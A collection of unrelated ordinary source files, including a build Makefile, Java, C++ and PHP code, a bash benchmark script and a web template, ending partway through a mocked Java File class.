native_packages += $(qt_native_packages)
endif
all_packages = $(packages) $(native_packages)
meta_depends = Makefile funcs.mk builders/default.mk hosts/default.mk hosts/$(host_os).mk builders/$(build_os).mk
$(host_arch)_$(host_os)_native_toolchain?=$($(host_os)_native_toolchain)
include funcs.mk
toolchain_path=$($($(host_arch)_$(host_os)_native_toolchain)_prefixbin)
final_build_id_long+=$(shell $(build_SHA256SUM) config.site.in)
final_build_id+=$(shell echo -n "$(final_build_id_long)" | $(build_SHA256SUM) | cut -c-$(HASH_LENGTH))
$(host_prefix)/.stamp_$(final_build_id): $(native_packages) $(packages)
$(AT)rm -rf $(@D)
$(AT)mkdir -p $(@D)
$(AT)echo copying packages: $^
$(AT)echo to: $(@D)
$(AT)cd $(@D); $(foreach package,$^, tar xf $($(package)_cached); )
$(AT)touch $@
$(host_prefix)/share/config.site : config.site.in $(host_prefix)/.stamp_$(final_build_id)
$(AT)@mkdir -p $(@D)
$(AT)sed -e 's|@HOST@|$(host)|' \
-e 's|@CC@|$(toolchain_path)$(host_CC)|' \
-e 's|@CXX@|$(toolchain_path)$(host_CXX)|' \
-e 's|@AR@|$(toolchain_path)$(host_AR)|' \
-e 's|@RANLIB@|$(toolchain_path)$(host_RANLIB)|' \
-e 's|@NM@|$(toolchain_path)$(host_NM)|' \
-e 's|@STRIP@|$(toolchain_path)$(host_STRIP)|' \
-e 's|@build_os@|$(build_os)|' \
-e 's|@host_os@|$(host_os)|' \
-e 's|@CFLAGS@|$(strip $(host_CFLAGS) $(host_$(release_type)_CFLAGS))|' \
-e 's|@CXXFLAGS@|$(strip $(host_CXXFLAGS) $(host_$(release_type)_CXXFLAGS))|' \
-e 's|@CPPFLAGS@|$(strip $(host_CPPFLAGS) $(host_$(release_type)_CPPFLAGS))|' \
-e 's|@LDFLAGS@|$(strip $(host_LDFLAGS) $(host_$(release_type)_LDFLAGS))|' \
-e 's|@no_qt@|$(NO_QT)|' \
-e 's|@no_wallet@|$(NO_WALLET)|' \
-e 's|@no_upnp@|$(NO_UPNP)|' \
-e 's|@debug@|$(DEBUG)|' \
$< > $@
$(AT)touch $@
define <API key>
mkdir -p $(BASE_CACHE)/$(host)/$(package) && cd $(BASE_CACHE)/$(host)/$(package); \
$(build_SHA256SUM) -c $($(package)_cached_checksum) >/dev/null 2>/dev/null || \
( rm -f $($(package)_cached_checksum); \
if test -f "$($(package)_cached)"; then echo "Checksum mismatch for $(package). Forcing rebuild.."; rm -f $($(package)_cached_checksum) $($(package)_cached); fi )
endef
define <API key>
mkdir -p $($(package)_source_dir); cd $($(package)_source_dir); \
test -f $($(package)_fetched) && ( $(build_SHA256SUM) -c $($(package)_fetched) >/dev/null 2>/dev/null || \
( echo "Checksum missing or mismatched for $(package) source. Forcing re-download."; \
rm -f $($(package)_all_sources) $($(1)_fetched))) || true
endef
check-packages:
@$(foreach package,$(all_packages),$(call <API key>,$(package));)
check-sources:
@$(foreach package,$(all_packages),$(call <API key>,$(package));)
$(host_prefix)/share/config.site: check-packages
check-packages: check-sources
install: check-packages $(host_prefix)/share/config.site
download-one: check-sources $(all_sources)
download-osx:
@$(MAKE) -s HOST=<API key> download-one
download-linux:
@$(MAKE) -s HOST=<API key> download-one
download-win:
@$(MAKE) -s HOST=x86_64-w64-mingw32 download-one
download: download-osx download-linux download-win
.PHONY: install cached download-one download-osx download-linux download-win download check-packages check-sources
|
package org.mentawai.filter;
import org.mentawai.core.Filter;
import org.mentawai.core.InvocationChain;
public class <API key> implements Filter {
private final String[] innerActions;
public <API key>() {
this.innerActions = null;
}
public <API key>(String ... innerActions) {
this.innerActions = innerActions;
}
public boolean isGlobalFilterFree(String innerAction) {
if (innerActions == null) return true;
if (innerAction == null) return false; // inner actions are specified...
for(String s : innerActions) {
if (s.equals(innerAction)) return true;
}
return false;
}
public String filter(InvocationChain chain) throws Exception {
return chain.invoke();
}
public void destroy() {
}
}
|
// Local
#include <vcgNodes/vcgMeshStats/vcgMeshStatsNode.h>
#include <vcgNodes/vcgNodeTypeIds.h>
// Utils
#include <utilities/debugUtils.h>
// Function Sets
#include <maya/MFnMeshData.h>
#include <maya/MFnTypedAttribute.h>
#include <maya/MFnEnumAttribute.h>
#include <maya/MFnNumericAttribute.h>
#include <maya/MFnMatrixAttribute.h>
#include <maya/MFnMatrixData.h>
// General Includes
#include <maya/MGlobal.h>
#include <maya/MPlug.h>
#include <maya/MDataBlock.h>
#include <maya/MDataHandle.h>
#include <maya/MIOStream.h>
// Macros
#define MCheckStatus(status, message) \
if( MStatus::kSuccess != status ) { \
cerr << message << "\n"; \
return status; \
}
// Unique Node TypeId
// See 'vcgNodeTypeIds.h', add a definition.
MTypeId vcgMeshStatsNode::id(<API key>); // Use a unique ID.
// Node attributes
MObject vcgMeshStatsNode::inMesh;
MObject vcgMeshStatsNode::outMesh;
MObject vcgMeshStatsNode::aEnable;
MObject vcgMeshStatsNode::aOutCentreOfMass;
MObject vcgMeshStatsNode::aOutMass;
vcgMeshStatsNode::vcgMeshStatsNode()
{}
vcgMeshStatsNode::~vcgMeshStatsNode()
{}
MStatus vcgMeshStatsNode::compute(const MPlug &plug, MDataBlock &data)
// Description:
// This method computes the value of the given output plug based
// on the values of the input attributes.
// Arguments:
// plug - the plug to compute
// data - object that provides access to the attributes for this node
{
MStatus status = MS::kSuccess;
MDataHandle stateData = data.outputValue(state, &status);
MCheckStatus(status, "ERROR getting state");
INFO("vcgMeshStats plug: " << plug.name());
// Check for the HasNoEffect/PassThrough flag on the node.
// (stateData is an enumeration standard in all depend nodes)
// (0 = Normal)
// (1 = HasNoEffect/PassThrough)
// (2 = Blocking)
if (stateData.asShort() == 1)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Simply redirect the inMesh to the outMesh for the PassThrough effect
outputData.set(inputData.asMesh());
}
else
{
// Check which output attribute we have been asked to
// compute. If this node doesn't know how to compute it,
// we must return MS::kUnknownParameter
if (plug == outMesh || plug == aOutCentreOfMass || plug == aOutMass)
{
MDataHandle inputData = data.inputValue(inMesh, &status);
MCheckStatus(status, "ERROR getting inMesh");
MDataHandle outputData = data.outputValue(outMesh, &status);
MCheckStatus(status, "ERROR getting outMesh");
// Copy the inMesh to the outMesh, so you can
// perform operations directly on outMesh
outputData.set(inputData.asMesh());
// Return if the node is not enabled.
MDataHandle enableData = data.inputValue(aEnable, &status);
MCheckStatus(status, "ERROR getting aEnable");
if (!enableData.asBool())
{
return MS::kSuccess;
}
// Get Mesh object
MObject mesh = outputData.asMesh();
// Set the mesh object and component List on the factory
fFactory.setMesh(mesh);
// Now, perform the vcgMeshStats
status = fFactory.doIt();
// Centre Of Mass Output
MVector centreOfMass(fFactory.getCentreOfMass());
INFO("compute centre of mass X:" << centreOfMass[0]);
INFO("compute centre of mass Y:" << centreOfMass[1]);
INFO("compute centre of mass Z:" << centreOfMass[2]);
MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
MCheckStatus(status, "ERROR getting aOutCentreOfMass");
centreOfMassData.setMVector(centreOfMass);
// Mass Output
float mass = fFactory.getMass();
INFO("compute mass:" << mass);
MDataHandle massData = data.outputValue(aOutMass, &status);
MCheckStatus(status, "ERROR getting aOutMass");
massData.setFloat(mass);
// Mark the output mesh as clean
outputData.setClean();
centreOfMassData.setClean();
massData.setClean();
}
// else if
// MDataHandle inputData = data.inputValue(inMesh, &status);
// MCheckStatus(status, "ERROR getting inMesh");
// // Return if the node is not enabled.
// MDataHandle enableData = data.inputValue(aEnable, &status);
// MCheckStatus(status, "ERROR getting aEnable");
// if (!enableData.asBool())
// return MS::kSuccess;
// // Get Mesh object
// MObject mesh = inputData.asMesh();
// // Set the mesh object and component List on the factory
// fFactory.setMesh(mesh);
// // Now, perform the vcgMeshStats
// status = fFactory.doIt();
// // Centre Of Mass Output
// MVector centreOfMass(fFactory.getCentreOfMass());
// MDataHandle centreOfMassData = data.outputValue(aOutCentreOfMass, &status);
// MCheckStatus(status, "ERROR getting aOutCentreOfMass");
// centreOfMassData.setMVector(centreOfMass);
// // Mass Output
// float mass = fFactory.getMass();
// MDataHandle massData = data.outputValue(aOutMass, &status);
// MCheckStatus(status, "ERROR getting aOutMass");
// massData.setFloat(mass);
// // Mark the output mesh as clean
else
{
status = MS::kUnknownParameter;
}
}
return status;
}
void *vcgMeshStatsNode::creator()
// Description:
// this method exists to give Maya a way to create new objects
// of this type.
// Return Value:
// a new object of this type
{
return new vcgMeshStatsNode();
}
MStatus vcgMeshStatsNode::initialize()
// Description:
// This method is called to create and initialize all of the attributes
// and attribute dependencies for this node type. This is only called
// once when the node type is registered with Maya.
// Return Values:
// MS::kSuccess
// MS::kFailure
{
MStatus status;
MFnTypedAttribute attrFn;
MFnNumericAttribute numFn;
aEnable = numFn.create("enable", "enable",
MFnNumericData::kBoolean, true, &status);
CHECK_MSTATUS(status);
status = numFn.setDefault(true);
status = numFn.setStorable(true);
status = numFn.setKeyable(true);
status = numFn.setChannelBox(true);
status = numFn.setHidden(false);
status = addAttribute(aEnable);
CHECK_MSTATUS(status);
// Centre of Mass
aOutCentreOfMass = numFn.createPoint("outCentreOfMass", "outCentreOfMass",
&status);
// MFnNumericData::k3Float, 0.0, &status);
CHECK_MSTATUS(status);
// numFn.setDefault(0.0f, 0.0f, 0.0f);
// numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutCentreOfMass);
CHECK_MSTATUS(status);
// Mass
aOutMass = numFn.create("outMass", "outMass",
MFnNumericData::kFloat, 0.0,
&status);
CHECK_MSTATUS(status);
numFn.setDefault(0.0f);
numFn.setKeyable(false);
numFn.setStorable(false);
numFn.setWritable(false);
status = addAttribute(aOutMass);
CHECK_MSTATUS(status);
// Input Mesh
inMesh = attrFn.create("inMesh", "im", MFnMeshData::kMesh);
attrFn.setStorable(true); // To be stored during file-save
status = addAttribute(inMesh);
CHECK_MSTATUS(status);
// Output Mesh
// Attribute is read-only because it is an output attribute
outMesh = attrFn.create("outMesh", "om", MFnMeshData::kMesh);
attrFn.setStorable(false);
attrFn.setWritable(false);
status = addAttribute(outMesh);
CHECK_MSTATUS(status);
// Attribute affects
status = attributeAffects(inMesh, outMesh);
status = attributeAffects(aEnable, outMesh);
status = attributeAffects(inMesh, aOutCentreOfMass);
status = attributeAffects(aEnable, aOutCentreOfMass);
status = attributeAffects(inMesh, aOutMass);
status = attributeAffects(aEnable, aOutMass);
CHECK_MSTATUS(status);
return MS::kSuccess;
}
|
#!/bin/bash
## This file is part of pico
## This program is free software: you can redistribute it and/or modify
## (at your option) any later version.
## This program is distributed in the hope that it will be useful,
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
B=512
N=20
for j in 42 #1 2 4 8 16 32 48
do
fname=times_wordcount_w$j"_"b$B
echo "[-w $j -b $B]"
rm -rf $fname
for i in `seq 1 $N`
do
echo $i / $N
./pico_wc -w $j -b $B testdata/words1m foo.txt 2> /dev/null | awk '{for (i=0; i<=NF; i++){if ($i == "in"){print $(i+1);exit}}}' >> $fname
done
done
|
{% extends base_layout %}
{% block title %}
{% trans %}Add Aid{% endtrans %} - {{ app_name }}
{% endblock %}
{% block header_title %}
{% trans %}Add Aid{% endtrans %}
{% endblock %}
{% block mediaCSS %}
<link rel="stylesheet" href="/{{ theme }}/css/jquery.dataTables.css">
{% endblock %}
{% block content %}
{% set show_fields = ['name', 'qty', 'cost', 'supplier', 'tags'] %}
<div class="container">
<div class="row">
<div class="span12">
<h3>View Aids</h3>
</div>
</div>
<div class="row">
<div class="span12">
<div class="<API key>">
<form class="form-inline" action="">
<div class="span2">
<label for="client_age">Client Age</label><input type="number" name="age" class="input-mini"
id="client_age"/>
</div>
<div class="span2">
<label>
Male
<input type="radio" name="sex" value="male">
</label>
<label>
Female
<input type="radio" name="sex" value="female">
</label>
</div>
<div class="span3">
<label for="<API key>">Life Expectancy</label><input type="number" name="life-expectancy"
class="input-mini"
id="<API key>"/>
</div>
<div class="span3">
<p id="life_left"></p>
</div>
</form>
</div>
</div>
</div>
<div class="row top-buffer">
<div class="span6">
<div class="aid_table_select">
<table id="aid_table">
<thead>
<tr>
<th><input type="checkbox" class="checkbox" name="check-all" id="check-all"/></th>
{% for fld in show_fields %}
<th>{{ fld }}</th>
{% endfor %}
</tr>
</thead>
<tbody>
{% for row in table_data %}
<tr>
<td><input type="checkbox" class="checkbox" name="cb1" id="{{ row.key.id() }}"/></td>
<td><a href="/add_aid/?aid_id={{ row.key.urlsafe() }}" target="_blank">{{ row.name }}</a></td>
<td><input type="number" value="1" class="input-mini qty" id="{{ row.key.id() }}-qty"></td>
<td>{{ "$%.2f"|format(row.cost) }}</td>
<td>{{ row.supplier.get().name }}</td>
<td>
{% for tag in row.tags %}
{{ tag }}<br/>
{% endfor %}
</td>
</tr>
{% endfor %}
</tbody>
</table>
</div>
</div>
<div class="span6">
<div class="copy-table">
<table id="ctable">
<thead>
<tr>
<th>Image</th>
<th>Name</th>
<th>Supplier</th>
<th>Initial Cost<br/>per Item</th>
<th>Maintenance<br/>per year</th>
<th>Replacement<br/>Frequency</th>
<th>Quantity</th>
<th>Cost per year</th>
<th>Lifetime Cost</th>
</tr>
</thead>
<tbody>
</tbody>
<tfoot>
<tr>
<td colspan="7" class="grand_total_title">Total</td>
<td class="cost_per_year_price" id="cost_per_year_price"></td>
<td class="grand_total_price" id="grand_total_price"></td>
</tr>
</tfoot>
</table>
</div>
</div>
</div>
</div>
</div>
{% endblock %}
{% block mediaJS %}
<script src="/{{ theme }}/js/jquery.js"></script>
<script src="/{{ theme }}/js/jquery.dataTables.min.js"></script>
<script src="/{{ theme }}/js/view_aids_utilities.js"></script>
{% endblock %}
|
package org.osmdroid.bonuspack.utils;
import java.io.IOException;
import java.io.InputStream;
import java.util.List;
import org.apache.http.HttpEntity;
import org.apache.http.HttpResponse;
import org.apache.http.NameValuePair;
import org.apache.http.StatusLine;
import org.apache.http.client.entity.<API key>;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.impl.client.DefaultHttpClient;
import org.apache.http.params.BasicHttpParams;
import org.apache.http.params.<API key>;
import org.apache.http.params.HttpParams;
import org.apache.http.util.EntityUtils;
import android.util.Log;
public class HttpConnection {
private DefaultHttpClient client;
private InputStream stream;
private HttpEntity entity;
private String mUserAgent;
private final static int TIMEOUT_CONNECTION=3000;
private final static int TIMEOUT_SOCKET=8000;
public HttpConnection(){
stream = null;
entity = null;
HttpParams httpParameters = new BasicHttpParams();
/* useful?
HttpProtocolParams.setContentCharset(httpParameters, "UTF-8");
HttpProtocolParams.<API key>(httpParameters, "UTF-8");
*/
// Set the timeout in milliseconds until a connection is established.
<API key>.<API key>(httpParameters, TIMEOUT_CONNECTION);
// Set the default socket timeout (SO_TIMEOUT)
// in milliseconds which is the timeout for waiting for data.
<API key>.setSoTimeout(httpParameters, TIMEOUT_SOCKET);
client = new DefaultHttpClient(httpParameters);
//TODO: created here. Reuse to do for better perfs???...
}
public void setUserAgent(String userAgent){
mUserAgent = userAgent;
}
/**
* @param sUrl url to get
*/
public void doGet(String sUrl){
try {
HttpGet request = new HttpGet(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e){
e.printStackTrace();
}
}
public void doPost(String sUrl, List<NameValuePair> nameValuePairs) {
try {
HttpPost request = new HttpPost(sUrl);
if (mUserAgent != null)
request.setHeader("User-Agent", mUserAgent);
request.setEntity(new <API key>(nameValuePairs));
HttpResponse response = client.execute(request);
StatusLine status = response.getStatusLine();
if (status.getStatusCode() != 200) {
Log.e(BonusPackHelper.LOG_TAG, "Invalid response from server: " + status.toString());
} else {
entity = response.getEntity();
}
} catch (Exception e) {
e.printStackTrace();
}
}
/**
* @return the opened InputStream, or null if creation failed for any reason.
*/
public InputStream getStream() {
try {
if (entity != null)
stream = entity.getContent();
} catch (IOException e) {
e.printStackTrace();
}
return stream;
}
/**
* @return the whole content as a String, or null if creation failed for any reason.
*/
public String getContentAsString(){
try {
if (entity != null) {
return EntityUtils.toString(entity, "UTF-8");
//setting the charset is important if none found in the entity.
} else
return null;
} catch (IOException e) {
e.printStackTrace();
return null;
}
}
/**
* Calling close once is mandatory.
*/
public void close(){
if (stream != null){
try {
stream.close();
stream = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (entity != null){
try {
entity.consumeContent();
//"finish". Important if we want to reuse the client object one day...
entity = null;
} catch (IOException e) {
e.printStackTrace();
}
}
if (client != null){
client.<API key>().shutdown();
client = null;
}
}
}
|
<?php
return array(
// Example server configuration. You may have more arrays like this one to
// specify multiple server groups (however they should share the same login
// server whilst they are allowed to have multiple char/map pairs).
array(
'ServerName' => 'FluxRO',
// Global database configuration (excludes logs database configuration).
'DbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => 'utf8', // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => '-3:00', //null // Example: '+0:00' is UTC.
// The possible values of 'Timezone' is as documented from the MySQL website:
// "The value can be given as a string indicating an offset from UTC, such as '+10:00' or '-6:00'."
// "The value can be given as a named time zone, such as 'Europe/Helsinki', 'US/Eastern', or 'MET'." (see below continuation!)
// **"Named time zones can be used only if the time zone information tables in the mysql database have been created and populated."
),
// This is kept separate because many people choose to have their logs
// database accessible under different credentials, and often on a
// different server entirely to ensure the reliability of the log data.
'LogsDbConfig' => array(
//'Socket' => '/tmp/mysql.sock',
//'Port' => 3306,
//'Encoding' => null, // Connection encoding -- use whatever here your MySQL tables collation is.
'Convert' => 'utf8',
// -- It specifies the encoding to convert your MySQL data to on the website (most likely needs to be utf8)
'Hostname' => '127.0.0.1',
'Username' => 'ragnarok',
'Password' => 'ragnarok',
'Database' => 'ragnarok',
'Persistent' => true,
'Timezone' => null // Possible values is as described in the comment in DbConfig.
),
// Login server configuration.
'LoginServer' => array(
'Address' => '127.0.0.1',
'Port' => 6900,
'UseMD5' => true,
'NoCase' => true, // rA account case-sensitivity; Default: Case-INsensitive (true).
'GroupID' => 0, // Default account group ID during registration.
//'Database' => 'ragnarok'
),
'CharMapServers' => array(
array(
'ServerName' => 'FluxRO',
'Renewal' => true,
'MaxCharSlots' => 9,
'DateTimezone' => 'America/Sao_Paulo',
'ResetDenyMaps' => 'prontera', // Defaults to 'sec_pri'. This value can be an array of map names.
//'Database' => 'ragnarok', // Defaults to DbConfig.Database
'ExpRates' => array(
'Base' => 100, // Rate at which (base) exp is given
'Job' => 100, // Rate at which job exp is given
'Mvp' => 100 // MVP bonus exp rate
),
'DropRates' => array(
// The rate the common items (in the ETC tab, besides card) are dropped
'Common' => 100,
'CommonBoss' => 100,
// The rate healing items (that restore HP or SP) are dropped
'Heal' => 100,
'HealBoss' => 100,
// The rate usable items (in the item tab other then healing items) are dropped
'Useable' => 100,
'UseableBoss' => 100,
// The rate at which equipment is dropped
'Equip' => 100,
'EquipBoss' => 100,
// The rate at which cards are dropped
'Card' => 100,
'CardBoss' => 100,
// The rate adjustment for the MVP items that the MVP gets directly in their inventory
'MvpItem' => 100
),
'CharServer' => array(
'Address' => '127.0.0.1',
'Port' => 6121
),
'MapServer' => array(
'Address' => '127.0.0.1',
'Port' => 5121
),
// -- WoE days and times --
// First parameter: Starding day 0=Sunday / 1=Monday / 2=Tuesday / 3=Wednesday / 4=Thursday / 5=Friday / 6=Saturday
// Second parameter: Starting hour in 24-hr format.
// Third paramter: Ending day (possible value is same as starting day).
// Fourth (final) parameter: Ending hour in 24-hr format.
// ** (Note, invalid times are ignored silently.)
'WoeDayTimes' => array(
//array(0, '12:00', 0, '14:00'), // Example: Starts Sunday 12:00 PM and ends Sunday 2:00 PM
//array(3, '14:00', 3, '15:00') // Example: Starts Wednesday 2:00 PM and ends Wednesday 3:00 PM
),
// Modules and/or actions to disallow access to during WoE.
'WoeDisallow' => array(
array('module' => 'character', 'action' => 'online'), // Disallow access to "Who's Online" page during WoE.
array('module' => 'character', 'action' => 'mapstats') // Disallow access to "Map Statistics" page during WoE.
)
)
)
)
);
?>
|
#include "Version.hpp"
#include <cstdio>
#include <cinttypes>
#ifdef __MINGW32__
#ifndef SCNu8
#define SCNu8 "hhu"
#endif
#endif
namespace natural
{
Version::Version()
: major_(0)
, minor_(0)
, patch_(0)
{}
Version::Version(uint8_t major, uint8_t minor, uint8_t patch)
: major_(major)
, minor_(minor)
, patch_(patch)
{}
Version::Version(const char *str)
{
uint8_t major, minor;
uint16_t patch;
if (sscanf(str, "%" SCNu8 ".%" SCNu8 ".%" SCNu16,
&major, &minor, &patch) != 3)
{
Version();
return;
}
Version(major, minor, patch);
}
bool Version::compatible(const Version &other)
{
return (major_ == other.major_ && (minor_ < other.minor_ ||
(minor_ == other.minor_ && patch_ <= other.patch_)));
}
bool Version::forward_compatible(const Version &other)
{
return (major_ > other.major_ || compatible(other));
}
Version Version::version()
{
// Must be in the `.cpp` file, so it is compiled into the shared library.
return Version(<API key>, <API key>,
<API key>);
}
}
|
#include "game.h"
#include "image_manager.h"
#include "loader.h"
Loader::Loader(Game* game) : _game(game) {
}
void Loader::addImage(const std::string& filename) {
_imageMap.emplace(filename, nullptr);
}
void Loader::addSound(const std::string& filename) {
_soundMap.emplace(filename, nullptr);
}
void Loader::addMusic(const std::string& filename) {
_musicMap.emplace(filename, nullptr);
}
void Loader::addFont(const std::string& filename) {
_fontMap.emplace(filename, nullptr);
}
const Image* Loader::getImage(const std::string& filename) {
return _imageMap.at(filename);
}
const Sound* Loader::getSound(const std::string& filename) {
return _soundMap.at(filename);
}
const Music* Loader::getMusic(const std::string& filename) {
return _musicMap.at(filename);
}
Font Loader::getFont(const std::string& filename) {
return Font(_fontMap.at(filename));
}
unsigned Loader::loadAll() {
unsigned err = 0;
for(auto& file: _imageMap) {
file.second = _game->images()->loadImage(file.first);
if(!file.second) { err++; }
}
for(auto& file: _soundMap) {
file.second = _game->sounds()->loadSound(file.first);
if(!file.second) { err++; }
}
for(auto& file: _musicMap) {
file.second = _game->sounds()->loadMusic(file.first);
if(!file.second) { err++; }
}
for(auto& file: _fontMap) {
file.second = _game->fonts()->loadFont(file.first);
if(!file.second) { err++; }
}
return err;
}
void Loader::releaseAll() {
for(auto& file: _imageMap) {
if(file.second) {
_game->images()->releaseImage(file.second);
file.second = nullptr;
}
}
for(auto& file: _soundMap) {
if(file.second) {
_game->sounds()->releaseSound(file.second);
file.second = nullptr;
}
}
for(auto& file: _musicMap) {
if(file.second) {
_game->sounds()->releaseMusic(file.second);
file.second = nullptr;
}
}
for(auto& file: _fontMap) {
if(file.second) {
_game->fonts()->releaseFont(file.second);
file.second = nullptr;
}
}
}
|
package org.evosuite.runtime.mock.java.io;
import java.io.File;
import java.io.FileFilter;
import java.io.FilenameFilter;
import java.io.IOException;
import java.net.<API key>;
import java.net.URI;
import java.net.URL;
import java.util.ArrayList;
import org.evosuite.runtime.RuntimeSettings;
import org.evosuite.runtime.mock.MockFramework;
import org.evosuite.runtime.mock.OverrideMock;
import org.evosuite.runtime.mock.java.lang.<API key>;
import org.evosuite.runtime.mock.java.net.MockURL;
import org.evosuite.runtime.vfs.FSObject;
import org.evosuite.runtime.vfs.VFile;
import org.evosuite.runtime.vfs.VFolder;
import org.evosuite.runtime.vfs.VirtualFileSystem;
/**
* This class is used in the mocking framework to replace File instances.
*
* <p>
* All files are created in memory, and no access to disk is ever done
*
* @author arcuri
*
*/
public class MockFile extends File implements OverrideMock {
private static final long serialVersionUID = -<API key>;
/*
* Constructors, with same inputs as in File. Note: it is not possible to inherit JavaDocs for constructors.
*/
public MockFile(String pathname) {
super(pathname);
}
public MockFile(String parent, String child) {
super(parent,child);
}
public MockFile(File parent, String child) {
this(parent.getPath(),child);
}
public MockFile(URI uri) {
super(uri);
}
/*
* TODO: Java 7
*
* there is only one method in File that depends on Java 7:
*
* public Path toPath()
*
*
* but if we include it here, we will break compatibility with Java 6.
* Once we drop such backward compatibility, we will need to override
* such method
*/
public static File[] listRoots() {
if(! MockFramework.isEnabled()){
return File.listRoots();
}
File[] roots = File.listRoots();
MockFile[] mocks = new MockFile[roots.length];
for(int i=0; i<roots.length; i++){
mocks[i] = new MockFile(roots[i].getAbsolutePath());
}
return mocks;
}
public static File createTempFile(String prefix, String suffix, File directory)
throws IOException{
if(! MockFramework.isEnabled()){
return File.createTempFile(prefix, suffix, directory);
}
VirtualFileSystem.getInstance().<API key>("");
String path = VirtualFileSystem.getInstance().createTempFile(prefix, suffix, directory);
if(path==null){
throw new MockIOException();
}
return new MockFile(path);
}
public static File createTempFile(String prefix, String suffix)
throws IOException {
return createTempFile(prefix, suffix, null);
}
@Override
public int compareTo(File pathname) {
if(! MockFramework.isEnabled()){
return super.compareTo(pathname);
}
return new File(getAbsolutePath()).compareTo(pathname);
}
@Override
public File getParentFile() {
if(! MockFramework.isEnabled()){
return super.getParentFile();
}
String p = this.getParent();
if (p == null) return null;
return new MockFile(p);
}
@Override
public File getAbsoluteFile() {
if(! MockFramework.isEnabled()){
return super.getAbsoluteFile();
}
String absPath = getAbsolutePath();
return new MockFile(absPath);
}
@Override
public File getCanonicalFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.getCanonicalFile();
}
String canonPath = getCanonicalPath();
VirtualFileSystem.getInstance().<API key>(getAbsolutePath());
return new MockFile(canonPath);
}
@Override
public boolean canRead() {
if(! MockFramework.isEnabled()){
return super.canRead();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isReadPermission();
}
@Override
public boolean setReadOnly() {
if(! MockFramework.isEnabled()){
return super.setReadOnly();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(true);
file.<API key>(false);
file.setWritePermission(false);
return true;
}
@Override
public boolean setReadable(boolean readable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setReadable(readable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setReadPermission(readable);
return true;
}
@Override
public boolean canWrite() {
if(! MockFramework.isEnabled()){
return super.canWrite();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isWritePermission();
}
@Override
public boolean setWritable(boolean writable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setWritable(writable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.setWritePermission(writable);
return true;
}
@Override
public boolean setExecutable(boolean executable, boolean ownerOnly) {
if(! MockFramework.isEnabled()){
return super.setExecutable(executable, ownerOnly);
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
file.<API key>(executable);
return true;
}
@Override
public boolean canExecute() {
if(! MockFramework.isEnabled()){
return super.canExecute();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isExecutePermission();
}
@Override
public boolean exists() {
if(! MockFramework.isEnabled()){
return super.exists();
}
return VirtualFileSystem.getInstance().exists(getAbsolutePath());
}
@Override
public boolean isDirectory() {
if(! MockFramework.isEnabled()){
return super.isDirectory();
}
FSObject file = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(file==null){
return false;
}
return file.isFolder();
}
@Override
public boolean isFile() {
if(! MockFramework.isEnabled()){
return super.isFile();
}
return !isDirectory();
}
@Override
public boolean isHidden() {
if(! MockFramework.isEnabled()){
return super.isHidden();
}
if(getName().startsWith(".")){
//this is not necessarily true in Windows
return true;
} else {
return false;
}
}
@Override
public boolean setLastModified(long time) {
if(! MockFramework.isEnabled()){
return super.setLastModified(time);
}
if (time < 0){
throw new <API key>("Negative time");
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return false;
}
return target.setLastModified(time);
}
@Override
public long lastModified() {
if(! MockFramework.isEnabled()){
return super.lastModified();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
return target.getLastModified();
}
@Override
public long length() {
if(! MockFramework.isEnabled()){
return super.length();
}
FSObject target = VirtualFileSystem.getInstance().findFSObject(getAbsolutePath());
if(target==null){
return 0;
}
if(target.isFolder() || target.isDeleted()){
return 0;
}
VFile file = (VFile) target;
return file.getDataSize();
}
//following 3 methods are never used in SF110
@Override
public long getTotalSpace() {
if(! MockFramework.isEnabled()){
return super.getTotalSpace();
}
return 0; //TODO
}
@Override
public long getFreeSpace() {
if(! MockFramework.isEnabled()){
return super.getFreeSpace();
}
return 0; //TODO
}
@Override
public long getUsableSpace() {
if(! MockFramework.isEnabled()){
return super.getUsableSpace();
}
return 0; //TODO
}
@Override
public boolean createNewFile() throws IOException {
if(! MockFramework.isEnabled()){
return super.createNewFile();
}
VirtualFileSystem.getInstance().<API key>(getAbsolutePath());
return VirtualFileSystem.getInstance().createFile(getAbsolutePath());
}
@Override
public boolean delete() {
if(! MockFramework.isEnabled()){
return super.delete();
}
